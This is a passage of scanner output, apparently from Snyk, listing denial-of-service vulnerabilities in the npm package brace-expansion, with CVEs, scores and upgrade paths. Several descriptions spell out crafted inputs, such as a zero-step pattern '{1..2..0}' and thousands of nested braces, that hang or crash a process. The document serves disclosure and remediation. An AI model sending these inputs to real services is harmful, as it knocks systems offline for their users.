count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" 